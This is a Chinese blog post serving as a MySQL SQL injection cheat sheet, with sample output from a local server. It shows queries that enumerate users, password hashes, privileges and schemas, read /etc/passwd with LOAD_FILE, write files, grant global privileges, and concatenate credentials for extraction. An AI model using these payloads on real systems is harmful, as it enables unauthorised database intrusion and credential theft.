mysql sql injection

最新推荐文章于 2023-02-20 19:10:25 发布
最新推荐文章于 2023-02-20 19:10:25 发布
阅读量899 收藏
点赞数
分类专栏： mysql SQL Injection
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/feier7501/article/details/9635511
版权

Version：

mysql> SELECT @@version;
+------------------+
| @@version        |
+------------------+
| 5.0.96-community | 
+------------------+
1 row in set (0.00 sec)

Comments： 

mysql> SELECT 1; #comment
+---+
| 1 |
+---+
| 1 | 
+---+
1 row in set (0.00 sec)

mysql> SELECT /*comment*/1;
+---+
| 1 |
+---+
| 1 | 
+---+
1 row in set (0.00 sec)

Current User： 

mysql> SELECT user();
+----------------+
| user()         |
+----------------+
| root@localhost | 
+----------------+
1 row in set (0.00 sec)

mysql> SELECT system_user();
+----------------+
| system_user()  |
+----------------+
| root@localhost | 
+----------------+
1 row in set (0.01 sec)

List Users： 

mysql> SELECT user FROM mysql.user;
+------+
| user |
+------+
| root | 
|      | 
| root | 
|      | 
| root | 
+------+
5 rows in set (0.00 sec)

List Password Hashes： 

mysql> SELECT host, user, password FROM mysql.user;
+-----------------------+------+-------------------------------------------+
| host                  | user | password                                  |
+-----------------------+------+-------------------------------------------+
| localhost             | root | *FAAFFE644E901CFAFAEC7562415E5FAEC243B8B2 | 
| localhost.localdomain | root |                                           | 
| 127.0.0.1             | root |                                           | 
| localhost             |      |                                           | 
| localhost.localdomain |      |                                           | 
+-----------------------+------+-------------------------------------------+
5 rows in set (0.00 sec)

List Privileges： 

mysql> SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
+--------------------------------+-------------------------+--------------+
| grantee                        | privilege_type          | is_grantable |
+--------------------------------+-------------------------+--------------+
| 'root'@'localhost'             | SELECT                  | YES          | 
| 'root'@'localhost'             | INSERT                  | YES          | 
| 'root'@'localhost'             | UPDATE                  | YES          | 
| 'root'@'localhost'             | DELETE                  | YES          | 
| 'root'@'localhost'             | CREATE                  | YES          | 
| 'root'@'localhost'             | DROP                    | YES          | 
| 'root'@'localhost'             | RELOAD                  | YES          | 
| 'root'@'localhost'             | SHUTDOWN                | YES          | 
| 'root'@'localhost'             | PROCESS                 | YES          | 
| 'root'@'localhost'             | FILE                    | YES          | 
| 'root'@'localhost'             | REFERENCES              | YES          | 
| 'root'@'localhost'             | INDEX                   | YES          | 
| 'root'@'localhost'             | ALTER                   | YES          | 
| 'root'@'localhost'             | SHOW DATABASES          | YES          | 
| 'root'@'localhost'             | SUPER                   | YES          | 
| 'root'@'localhost'             | CREATE TEMPORARY TABLES | YES          | 
| 'root'@'localhost'             | LOCK TABLES             | YES          | 
| 'root'@'localhost'             | EXECUTE                 | YES          | 
| 'root'@'localhost'             | REPLICATION SLAVE       | YES          | 
| 'root'@'localhost'             | REPLICATION CLIENT      | YES          | 
| 'root'@'localhost'             | CREATE VIEW             | YES          | 
| 'root'@'localhost'             | SHOW VIEW               | YES          | 
| 'root'@'localhost'             | CREATE ROUTINE          | YES          | 
| 'root'@'localhost'             | ALTER ROUTINE           | YES          | 
| 'root'@'localhost'             | CREATE USER             | YES          | 
| 'root'@'localhost.localdomain' | SELECT                  | YES          | 
| 'root'@'localhost.localdomain' | INSERT                  | YES          | 
| 'root'@'localhost.localdomain' | UPDATE                  | YES          | 
| 'root'@'localhost.localdomain' | DELETE                  | YES          | 
| 'root'@'localhost.localdomain' | CREATE                  | YES          | 
| 'root'@'localhost.localdomain' | DROP                    | YES          | 
| 'root'@'localhost.localdomain' | RELOAD                  | YES          | 
| 'root'@'localhost.localdomain' | SHUTDOWN                | YES          | 
| 'root'@'localhost.localdomain' | PROCESS                 | YES          | 
| 'root'@'localhost.localdomain' | FILE                    | YES          | 
| 'root'@'localhost.localdomain' | REFERENCES              | YES          | 
| 'root'@'localhost.localdomain' | INDEX                   | YES          | 
| 'root'@'localhost.localdomain' | ALTER                   | YES          | 
| 'root'@'localhost.localdomain' | SHOW DATABASES          | YES          | 
| 'root'@'localhost.localdomain' | SUPER                   | YES          | 
| 'root'@'localhost.localdomain' | CREATE TEMPORARY TABLES | YES          | 
| 'root'@'localhost.localdomain' | LOCK TABLES             | YES          | 
| 'root'@'localhost.localdomain' | EXECUTE                 | YES          | 
| 'root'@'localhost.localdomain' | REPLICATION SLAVE       | YES          | 
| 'root'@'localhost.localdomain' | REPLICATION CLIENT      | YES          | 
| 'root'@'localhost.localdomain' | CREATE VIEW             | YES          | 
| 'root'@'localhost.localdomain' | SHOW VIEW               | YES          | 
| 'root'@'localhost.localdomain' | CREATE ROUTINE          | YES          | 
| 'root'@'localhost.localdomain' | ALTER ROUTINE           | YES          | 
| 'root'@'localhost.localdomain' | CREATE USER             | YES          | 
| 'root'@'127.0.0.1'             | SELECT                  | YES          | 
| 'root'@'127.0.0.1'             | INSERT                  | YES          | 
| 'root'@'127.0.0.1'             | UPDATE                  | YES          | 
| 'root'@'127.0.0.1'             | DELETE                  | YES          | 
| 'root'@'127.0.0.1'             | CREATE                  | YES          | 
| 'root'@'127.0.0.1'             | DROP                    | YES          | 
| 'root'@'127.0.0.1'             | RELOAD                  | YES          | 
| 'root'@'127.0.0.1'             | SHUTDOWN                | YES          | 
| 'root'@'127.0.0.1'             | PROCESS                 | YES          | 
| 'root'@'127.0.0.1'             | FILE                    | YES          | 
| 'root'@'127.0.0.1'             | REFERENCES              | YES          | 
| 'root'@'127.0.0.1'             | INDEX                   | YES          | 
| 'root'@'127.0.0.1'             | ALTER                   | YES          | 
| 'root'@'127.0.0.1'             | SHOW DATABASES          | YES          | 
| 'root'@'127.0.0.1'             | SUPER                   | YES          | 
| 'root'@'127.0.0.1'             | CREATE TEMPORARY TABLES | YES          | 
| 'root'@'127.0.0.1'             | LOCK TABLES             | YES          | 
| 'root'@'127.0.0.1'             | EXECUTE                 | YES          | 
| 'root'@'127.0.0.1'             | REPLICATION SLAVE       | YES          | 
| 'root'@'127.0.0.1'             | REPLICATION CLIENT      | YES          | 
| 'root'@'127.0.0.1'             | CREATE VIEW             | YES          | 
| 'root'@'127.0.0.1'             | SHOW VIEW               | YES          | 
| 'root'@'127.0.0.1'             | CREATE ROUTINE          | YES          | 
| 'root'@'127.0.0.1'             | ALTER ROUTINE           | YES          | 
| 'root'@'127.0.0.1'             | CREATE USER             | YES          | 
| ''@'localhost'                 | USAGE                   | NO           | 
| ''@'localhost.localdomain'     | USAGE                   | NO           | 
+--------------------------------+-------------------------+--------------+
77 rows in set (0.00 sec)

mysql> SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user;
+-----------------------+------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+
| host                  | user | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv |
+-----------------------+------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+
| localhost             | root | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | 
| localhost.localdomain | root | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | 
| 127.0.0.1             | root | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | 
| localhost             |      | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | 
| localhost.localdomain |      | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | 
+-----------------------+------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+
5 rows in set (0.00 sec)

mysql> SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;
+---------+--------------+-------------------------+
| grantee | table_schema | privilege_type          |
+---------+--------------+-------------------------+
| ''@'%'  | test         | SELECT                  | 
| ''@'%'  | test         | INSERT                  | 
| ''@'%'  | test         | UPDATE                  | 
| ''@'%'  | test         | DELETE                  | 
| ''@'%'  | test         | CREATE                  | 
| ''@'%'  | test         | DROP                    | 
| ''@'%'  | test         | REFERENCES              | 
| ''@'%'  | test         | INDEX                   | 
| ''@'%'  | test         | ALTER                   | 
| ''@'%'  | test         | CREATE TEMPORARY TABLES | 
| ''@'%'  | test         | LOCK TABLES             | 
| ''@'%'  | test         | CREATE VIEW             | 
| ''@'%'  | test         | SHOW VIEW               | 
| ''@'%'  | test         | CREATE ROUTINE          | 
| ''@'%'  | test\_%      | SELECT                  | 
| ''@'%'  | test\_%      | INSERT                  | 
| ''@'%'  | test\_%      | UPDATE                  | 
| ''@'%'  | test\_%      | DELETE                  | 
| ''@'%'  | test\_%      | CREATE                  | 
| ''@'%'  | test\_%      | DROP                    | 
| ''@'%'  | test\_%      | REFERENCES              | 
| ''@'%'  | test\_%      | INDEX                   | 
| ''@'%'  | test\_%      | ALTER                   | 
| ''@'%'  | test\_%      | CREATE TEMPORARY TABLES | 
| ''@'%'  | test\_%      | LOCK TABLES             | 
| ''@'%'  | test\_%      | CREATE VIEW             | 
| ''@'%'  | test\_%      | SHOW VIEW               | 
| ''@'%'  | test\_%      | CREATE ROUTINE          | 
+---------+--------------+-------------------------+
28 rows in set (0.00 sec)

mysql> SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; 
Empty set (0.00 sec)

List DBA Accounts： 

mysql> SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';
+--------------------------------+----------------+--------------+
| grantee                        | privilege_type | is_grantable |
+--------------------------------+----------------+--------------+
| 'root'@'localhost'             | SUPER          | YES          | 
| 'root'@'localhost.localdomain' | SUPER          | YES          | 
| 'root'@'127.0.0.1'             | SUPER          | YES          | 
+--------------------------------+----------------+--------------+
3 rows in set (0.00 sec)

mysql> SELECT host, user FROM mysql.user WHERE Super_priv = 'Y';
+-----------------------+------+
| host                  | user |
+-----------------------+------+
| localhost             | root | 
| localhost.localdomain | root | 
| 127.0.0.1             | root | 
+-----------------------+------+
3 rows in set (0.00 sec)

Current Database： 

mysql> SELECT database();
+------------+
| database() |
+------------+
| NULL       | 
+------------+
1 row in set (0.00 sec)

mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SELECT database();
+------------+
| database() |
+------------+
| mysql      | 
+------------+
1 row in set (0.00 sec)

List Databases：

mysql> SELECT schema_name FROM information_schema.schemata;
+--------------------+
| schema_name        |
+--------------------+
| information_schema | 
| mysql              | 
| test               | 
+--------------------+
3 rows in set (0.03 sec)

mysql> SELECT distinct(db) FROM mysql.db;
+---------+
| db      |
+---------+
| test    | 
| test\_% | 
+---------+
2 rows in set (0.00 sec)

Create Database and table： 

mysql> create database db_user;
Query OK, 1 row affected (0.05 sec)

mysql> use db_user;
Database changed
mysql> create table tb_user (
    ->   username varchar(20) primary key,
    ->   password varchar(20) not null
    -> );
Query OK, 0 rows affected (0.05 sec)

List Columns： 

mysql> SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema';
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| db_user      | tb_user    | username    | 
| db_user      | tb_user    | password    | 
+--------------+------------+-------------+
2 rows in set (0.00 sec)

List Tables： 

mysql> SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema';
+--------------+------------+
| table_schema | table_name |
+--------------+------------+
| db_user      | tb_user    | 
+--------------+------------+
1 row in set (0.00 sec)

Find Tables From Column Name： 

mysql> SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';
+--------------+------------+
| table_schema | table_name |
+--------------+------------+
| db_user      | tb_user    | 
+--------------+------------+
1 row in set (0.02 sec)

Insert Data： 

mysql> insert into tb_user values ('user1', 'pass1');
Query OK, 1 row affected (0.00 sec)

mysql> insert into tb_user values ('user2', 'pass2');
Query OK, 1 row affected (0.00 sec)

Select Nth Row： 

mysql> SELECT username, password FROM tb_user ORDER BY username LIMIT 1 OFFSET 0;
+----------+----------+
| username | password |
+----------+----------+
| user1    | pass1    | 
+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT username, password FROM tb_user ORDER BY username LIMIT 1 OFFSET 1;
+----------+----------+
| username | password |
+----------+----------+
| user2    | pass2    | 
+----------+----------+
1 row in set (0.00 sec)

Select Nth Char： 

mysql> SELECT substr('abcd', 3, 1); 
+----------------------+
| substr('abcd', 3, 1) |
+----------------------+
| c                    | 
+----------------------+
1 row in set (0.00 sec)

Bitwise AND： 

mysql> SELECT 6 & 2;
+-------+
| 6 & 2 |
+-------+
|     2 | 
+-------+
1 row in set (0.00 sec)

mysql> SELECT 6 & 1;
+-------+
| 6 & 1 |
+-------+
|     0 | 
+-------+
1 row in set (0.00 sec)

ASCII Value -> Char： 

mysql> SELECT char(65); 
+----------+
| char(65) |
+----------+
| A        | 
+----------+
1 row in set (0.00 sec)

Char -> ASCII Value： 

mysql> SELECT ascii('A');
+------------+
| ascii('A') |
+------------+
|         65 | 
+------------+
1 row in set (0.00 sec)

Casting： 

mysql> SELECT cast('1' AS unsigned integer);
+-------------------------------+
| cast('1' AS unsigned integer) |
+-------------------------------+
|                             1 | 
+-------------------------------+
1 row in set (0.00 sec)


mysql> SELECT cast('123' AS char);
+---------------------+
| cast('123' AS char) |
+---------------------+
| 123                 | 
+---------------------+
1 row in set (0.00 sec)

String Concatenation： 

mysql> SELECT CONCAT('A','B'); 
+-----------------+
| CONCAT('A','B') |
+-----------------+
| AB              | 
+-----------------+
1 row in set (0.00 sec)

mysql> SELECT CONCAT('A','B','C');
+---------------------+
| CONCAT('A','B','C') |
+---------------------+
| ABC                 | 
+---------------------+
1 row in set (0.00 sec)

If Statement： 

mysql> SELECT if(1=1,'foo','bar');
+---------------------+
| if(1=1,'foo','bar') |
+---------------------+
| foo                 | 
+---------------------+
1 row in set (0.00 sec)

Case Statement： 

mysql> SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; 
+---------------------------------------+
| CASE WHEN (1=1) THEN 'A' ELSE 'B' END |
+---------------------------------------+
| A                                     | 
+---------------------------------------+
1 row in set (0.00 sec)

Avoiding Quotes： 

mysql> SELECT 0x414243; 
+----------+
| 0x414243 |
+----------+
| ABC      | 
+----------+
1 row in set (0.00 sec)

Time Delay： 

mysql> SELECT BENCHMARK(1000000,MD5('A'));
+-----------------------------+
| BENCHMARK(1000000,MD5('A')) |
+-----------------------------+
|                           0 | 
+-----------------------------+
1 row in set (2.03 sec)

mysql> SELECT SLEEP(5);
+----------+
| SLEEP(5) |
+----------+
|        0 | 
+----------+
1 row in set (5.00 sec)

Command Execution：

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar)


Local File Access：

mysql> SELECT LOAD_FILE('/etc/passwd');
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| LOAD_FILE('/etc/passwd')                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkituser:x:87:87:PolicyKit:/:/sbin/nologin
pulse:x:499:497:PulseAudio daemon:/:/sbin/nologin
avahi:x:498:494:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
smolt:x:497:491:Smolt:/usr/share/smolt:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:490:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
torrent:x:496:489:BitTorrent Seed/Tracker:/var/lib/bittorrent:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
yang:x:500:500:yang:/home/yang:/bin/bash
mysql:x:495:488:MySQL server:/var/lib/mysql:/bin/bash
 | 
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


mysql> SELECT * FROM tb_user INTO dumpfile '/tmp/tb_user';
Query OK, 2 rows affected (0.00 sec)

Hostname, IP Address：

mysql> SELECT @@hostname;
+-----------------------+
| @@hostname            |
+-----------------------+
| localhost.localdomain | 
+-----------------------+
1 row in set (0.00 sec)

Create Users： 

mysql> CREATE USER test1 IDENTIFIED BY 'pass1';
Query OK, 0 rows affected (0.02 sec)

Delete Users： 

mysql> DROP USER test1;
Query OK, 0 rows affected (0.00 sec)

Make User DBA： 

mysql> GRANT ALL PRIVILEGES ON *.* TO test1@'%';
Query OK, 0 rows affected (0.00 sec)

Location of DB files： 

mysql> SELECT @@datadir;
+-----------------+
| @@datadir       |
+-----------------+
| /var/lib/mysql/ | 
+-----------------+
1 row in set (0.00 sec)


查看当前数据库所有的表：

mysql> select group_concat(table_name) from information_schema.tables where table_schema=database();
+--------------------------+
| group_concat(table_name) |
+--------------------------+
| tb_user                  |
+--------------------------+
1 row in set (0.00 sec)

查看当前数据库所有的列： 

mysql> select group_concat(column_name) from information_schema.columns where table_schema=database();
+---------------------------+
| group_concat(column_name) |
+---------------------------+
| username,password,phone   |
+---------------------------+
1 row in set (0.05 sec)

查看表tb_user的所有列： 

mysql> select group_concat(column_name) from information_schema.columns where table_name='tb_user';
+---------------------------+
| group_concat(column_name) |
+---------------------------+
| username,password,phone   |
+---------------------------+
1 row in set (0.08 sec)

如果是以URL的形式，要变成： 

select group_concat(column_name) from information_schema.columns where table_name=0x74625F75736572

其中tb_user的16进制是0x74625F75736572


查看用户名密码：

select group_concat(username,0x3a,password) from users;


feier7501
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
mysql sql练习（一）
一只努力的小Java
11-30 995
表结构 student(sno,sname,sage,ssex)学生表 course(cno,cname,tno)课程表 sc(sno,cno,score)成绩表 teacher(tno,tname)教师表 建表并初始化数据 -- ---------------------------- -- Table structure for student -- ---------------------------- DROP TABLE IF EXISTS `student`; CREATE TABLE `st
sql注入-mysql注入
qq_38849692的博客
08-03 192
sql常用的注入语句 查询数据库----假设为 security select database(); 查询数据库中的表 select group_concat(table_name) from information_schema.tables where table_schema=database(); 查询表中的字段名(security.users表中的列) select group_concat(column_name) from information_schema.columns wh
SqliLab_Mysql_Injection详解_字符型注入(五)_时间盲注（8~10）
qq_41260930的博客
10-24 624
SqlLab_Mysql_Injection详解_字符型注入(六) SQL注入_时间盲注 原理 当在服务器后台关闭了返回页面的错误回显或过滤了某些关键字，返回的网页只会返回一种状态（无法通过传统的布尔盲注（true or false）来判断了），这时候就需要用到时间盲注了，时间盲注成功时，服务器会由于执行了构造语句中的sleep()函数，休眠一定的时间，再返回数据；通过观察浏览器客户端发送请求，到...
MySQL5.7 重置root密码
jisen_huang的专栏
10-17 76
配置skip-grant-tables并重启 cat >>/etc/my.cnf <<EOF skip-grant-tables EOF cat /etc/my.cnf systemctl restart mysqld 修改密码 mysql -uroot use mysql; select host,user,authentication_string from user; update user set authentication_string = pass..
mysql injection_MySQL SQL Injection(注入)
weixin_42474164的博客
01-20 261
如果通过网页接收用户输入，而后再把这些数据插入到数据库中，那么你可能就会碰到 SQL 注入式攻击。本节简要介绍如何防范这种攻击，确保脚本和 MySQL 语句的安全性。注入式攻击往往发生在要求用户输入时，比如说要求他们输入自己的名字，但是他们却输入了一段 MySQL 语句，不知不觉地运行在数据库上。永远不要相信用户所提供的数据，只有在验证无误后，才能去处理数据。通常，利用模式匹配来实现。在下面这个范...
mysql 盲注 if_mysql高级盲注技巧
weixin_39716043的博客
01-18 196
1.SQL Injection (classic or error based or whatever you call it) :D...2.Blind SQL Injection (the harder part)So let's start with some action :D1). Check for vulnerabilityLet's say that we have some si...
SQL Injection 字典 - MYSQL
weixin_30629653的博客
07-18 161
http://websec.ca/kb/sql_injection#MySQL_Password_Cracking MySQL Default Databases mysql Requires root privileges information_schema Availalble from version 5 and higher Testing ...
MySQL SQL Injection Cheat Sheet .doc
05-20
MySQL SQL Injection Cheat Sheet .doc
SQL Injection with MySQL 注入分析
09-14
SQL注入是一种常见的网络安全威胁，主要针对使用SQL（结构化查询语言）的数据库系统，如MySQL。此技术允许攻击者通过输入恶意SQL代码来操纵或获取数据库中的敏感信息。本文将深入探讨MySQL数据库的SQL注入问题，以及...
Advanced SQL Injection with MySQL
09-11
Advanced SQL Injection with MySQL
利用SQL注入漏洞
weixin_26722031的博客
07-31 1355
SQL Injection is a sort of infusion assault that makes it conceivable to execute malicious SQL statements. These statements control a database server behind a web application. Assailants can utilize S...
mysqlinjection
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
11-17 127
mysql注入入门学习 sql注入是跟句网页语法错误,从而获得网站物理路径和管理员用户名密码.常用工具啊D注入工具. 如果你网页语言精通.可以不用工具.而获得你想要的东西. 本回答由网友推荐 mysql注入攻防的书有哪些 首先来看GIF操作： 情况一：空格被过滤 使用括号()代替空格，任何可以计算出结果的...
mysql-injection整理
criminal_1的博客
02-20 180
sql注入整理
5. 创建用户、授权以及修改密码等权限操作
纯爱枫若情的博客
01-30 2021
今天突然有了修改密码的需求，然后试着在网上搜了下方法，好像都不能成功，后来看了下官方文档才发现，是因为我用的mysql版本太高了，已经改变了修改密码的方法。 查看mysql版本 如果还没连接到mysql服务器，那么采用以下三种方法： -- 方法一 C:\Users\root>mysql -V mysql Ver 14.14 Distrib 5.7.20, for Win64 (
【基础知识思考整理 】MySQLSQL注入（SQL Injection ）和防注入
aganlengzi的专栏
07-17 1623
基础知识思考整理 http://blog.csdn.net/aganlengzi/article/details/51345294 原理： SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言(SQL)当中，从而达到入侵数据库乃至操作系统的目的。它的产生主要是由于程序对用户输入 的数据没有进行严格的过滤，导致非法数据库查询语句的执行。 举例： 如下面的用
认识MySQL 到 SQL Injection
608神秘组织
03-14 264
安装MySQL服务端/客户端 sudo apt-get install mysql-server sudo apt-get install mysql-client 基本操作 开启服务 sudo service mysql start 登入 mysql -u root -p Enter Password: 退出MySQL quit; 查看数据库...
SQl_INJECTION学习归纳-MYSQL知识归纳篇
qq_41260930的博客
10-17 862
基础知识归纳 注入原理： 将恶意SQL语句代码作为输入数据传递到服务器，然后它被拼接到SQL语句中交给数据库解析执行 导致执行一些恶意的操作。 ###注入分类： A(SQL注入)–>B(基础分类)–>() ...
SQL Injection with MySQL
11-11 1435
本文作者：angel文章性质：原创发布日期：2004-09-16本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。声明　　本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有
sql injection violation, dbType mysql,
最新发布
09-14
请确认您的问题是关于 SQL 注入违规以及数据库类型为 MySQL。我可以帮您解答有关这个问题的信息。 SQL 注入是一种常见的安全漏洞，其中攻击者通过在用户输入的数据中插入恶意 SQL 代码来执行未经授权的操作。对于 ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值